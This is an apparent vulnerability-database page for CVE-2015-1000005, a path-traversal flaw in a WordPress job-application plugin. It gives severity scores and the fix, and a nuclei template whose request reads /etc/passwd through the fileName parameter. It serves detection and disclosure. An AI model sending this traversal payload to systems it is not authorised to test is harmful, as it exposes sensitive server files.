HexBrain

Browse / CVEs / CVE-2015-1000005

CVE-2015-1000005· candidate-application-form project / candidate-application-form· CWE-22

WordPress Candidate Application Form <= 1.3 - Local File Inclusion

highseverity
7.5CVSS score
8.6%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Update to the latest version of the plugin.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-1000005 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-1000005

info:
  name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the plugin.
  reference:
    - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000005
    - http://www.vapidlabs.com/advisory.php?v=142
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000005
    cwe-id: CWE-22
    epss-score: 0.08598
    epss-percentile: 0.95127
    cpe: cpe:2.3:a:candidate-application-form_project:candidate-application-form:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: candidate-application-form_project
    product: candidate-application-form
    framework: wordpress
  tags: cve2015,cve,wpscan,wordpress,wp-plugin,lfi,wp,candidate-application-form_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from